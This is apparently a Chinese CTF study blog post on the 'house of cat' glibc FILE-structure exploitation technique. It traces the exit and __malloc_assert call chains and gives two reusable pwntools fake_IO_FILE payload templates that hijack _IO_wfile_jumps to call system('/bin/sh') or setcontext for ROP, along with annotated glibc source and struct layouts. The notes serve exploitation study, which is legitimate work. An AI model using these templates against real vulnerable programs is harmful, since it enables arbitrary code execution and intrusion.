IO_FILE链house_of_cat链记录

本文最后更新于:2025年6月27日 晚上

2.34取消掉的hook

先端出完整调用链

1
2
exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->_IO_wfile_seekoff->_IO_switch_to_wget_mode
__malloc_assert-> __fxprintf->__vfxprintf->locked_vfxprintf->__vfprintf_internal->_IO_wfile_seekoff->_IO_switch_to_wget_mode

两个题目的fake_IO_FILE,当模板用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
fake_IO_FILE =  b'/bin/sh\x00' # rdi
fake_IO_FILE += p64(0)*4
fake_IO_FILE += p64(1) # fp->_wide_data->(_IO_write_ptr) > fp->_wide_data->_IO_write_base
fake_IO_FILE += p64(0)*3
fake_IO_FILE += p64(1) # rcx!=0
fake_IO_FILE += p64(base+0x21b6a0+0x60) # rdx
fake_IO_FILE += p64(base+libc.sym.system) # end call
fake_IO_FILE = fake_IO_FILE.ljust(0x60, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(base+0x21c100) # _lock writeable
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE += p64(base+0x21b6a0+0x30) # _wide_data
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(1) # _mode
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(base+libc.sym._IO_wfile_jumps+0x30) # _wide_data
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(base+0x21b6a0+0x40) #_wide_data->_wide_vtable,_wide_data+0x10

fake_io_addr=heapbase+0xb00 # 伪造的fake_IO结构体的chunk_pre_size的位置
next_chain = 0
fake_IO_FILE=p64(rdi) #_flags=rdi,如果填入/bin/sh,那么rdi存的就是/bin/sh
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base 此处对应rax1+0x20,是执行函数时的rdx
fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(heapbase+0x1000) # _lock here need a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30) #_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(libc_base+libc.sym['_IO_wfile_jumps']+0x10) # vtable=IO_wfile_jumps+0x10 FSOP改为IO_wfiel_jumps+0x30
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr

函数大全

本文提到的fp均为例如stderr+0一般开头偏移为0的完整的fake_IO_FILE,若只能控制不完整的fake_IO_FILE,需要自行调整对应偏移和结构体内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int _IO_flush_all_lockp(int do_lock)
{
int result = 0;
FILE *fp;

// 遍历 _IO_list_all
for (fp = (FILE *)_IO_list_all; fp != NULL; fp = fp->_chain)
{
// 条件判断
// 两组条件,满足其一,就会执行_IO_OVERFLOW
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) ||
(_IO_vtable_offset(fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))
) && _IO_OVERFLOW(fp, EOF) == EOF)
result = EOF;
}
return result;
}

我们会选择fp->_mode>0以去绕过_IO_wfile_seekoff中的一个if,_IO_vtable_offset(fp)==0就是fp->_vtable_offset==0,调试主要用这些

1
2
3
p *stderr
p (struct _IO_FILE_plus)*stderr
p *stderr->_wide_data

前面通过了然后进_IO_OVERFLOW(fp, EOF)中,_IO_OVERFLOW(fp, EOF)相当于(_IO_FILE_plus)fp->vtable->__overflow,就是我们为(struct _IO_FILE_plus)fp->vtable处我们覆盖的值,(_IO_wfile_jumps+0x30+0x18)(FSOP)/(_IO_wfile_jumps+0x10+0x38)(__malloc_assert)=_IO_wfile_seekoff,前一个加的就是我们在vtable数据段处为_IO_wfile_jumps加的值,后面加的就是看汇编到达对应函数call时候加的值,从而导致一定会跳转到_IO_wfile_seekoff这条链

_IO_wfile_seekoff这里主要是控制fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base,这样就只能过到_IO_switch_to_wget_mode的_IO_WOVERFLOW,FSOP中相当于fp的_IO_backup_base > _IO_save_base,__malloc_assert中相当于fp的_IO_write_end > _IO_write_ptr

1
2
3
4
5
6
7
8
9
10
11
off64_t
_IO_wfile_seekoff(FILE *fp, off64_t offset, int dir, int mode)
{
if (mode == 0)
return do_ftell_wide(fp);

bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode(fp)); // true
// #define _IO_in_put_mode(_fp) ((_fp)->_flags & 0x800)

if (was_writing && _IO_switch_to_wget_mode(fp))
return WEOF;

最后需要进入_IO_WOVERFLOW(fp, WEOF),_IO_WOVERFLOW(fp, WEOF)相当于fp->_wide_data->_wide_vtable->__overflow,于是可以控制原fp的_IO_save_end到我们需要call跳转的函数,例如说system、setcontext+61。rdi、rdx、rcx可控,rsi始终为0xffffffff,rcx需要小于rdx,若只执行一个函数,则相当于fp的_flags、_IO_backup_base、_IO_save_base需要被控制,且_IO_save_base需要小于_IO_backup_base。

1
2
3
4
5
6
7
8
9
10
int _IO_switch_to_wget_mode(FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW(fp, WEOF) == WEOF)
return EOF;


#define _IO_WOVERFLOW(FP,CH) WJUMP1(__overflow, FP, CH)
((*(__typeof__(((struct _IO_FILE){})._wide_data) *)(((char *)((fp))) + ((size_t)&(((struct _IO_FILE*)0)->_wide_data))))->_wide_vtable->__overflow)(fp, (0xffffffffu))
fp->_wide_data->_wide_vtable->__overflow

执行的函数若是system,则直接使fp->_flags赋值为字符串”/bin/sh\x00”即可;若是setcontenxt+61,则fp->_IO_backup_base是需要控制的值,如果为&fake_IO_FILE+0xb0,则fake_IO_FILE后方直接跟rdi、rsi、rbp、rbx、rdx、?、rcx、ropchain、ret,但因为ropchain是直接可以被ret到的,所以setcontext部分可以直接填0然后在ropchain处控制寄存器的值完成获得flag,不过若ropchain长度有限刚好差几个寄存器的长度,那么可以试试setcontext。

一些标准的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
type = struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
size_t __pad5;
int _mode;
char _unused2[20];
}
struct _IO_FILE_plus
+0x0000 file : FILE
+0x00d8 vtable : const struct _IO_jump_t *
pwndbg> dt "struct _IO_wide_data"
struct _IO_wide_data
+0x0000 _IO_read_ptr : wchar_t *
+0x0008 _IO_read_end : wchar_t *
+0x0010 _IO_read_base : wchar_t *
+0x0018 _IO_write_base : wchar_t *
+0x0020 _IO_write_ptr : wchar_t *
+0x0028 _IO_write_end : wchar_t *
+0x0030 _IO_buf_base : wchar_t *
+0x0038 _IO_buf_end : wchar_t *
+0x0040 _IO_save_base : wchar_t *
+0x0048 _IO_backup_base : wchar_t *
+0x0050 _IO_save_end : wchar_t *
+0x0058 _IO_state : __mbstate_t
+0x0060 _IO_last_state : __mbstate_t
+0x0068 _codecvt : struct _IO_codecvt
+0x00d8 _shortbuf : wchar_t [1]
+0x00e0 _wide_vtable : const struct _IO_jump_t *

IO_FILE链house_of_cat链记录
http://example.com/2025/06/27/IO-FILE链house-of-cat链记录/
作者
OSLike
发布于
2025年6月27日
许可协议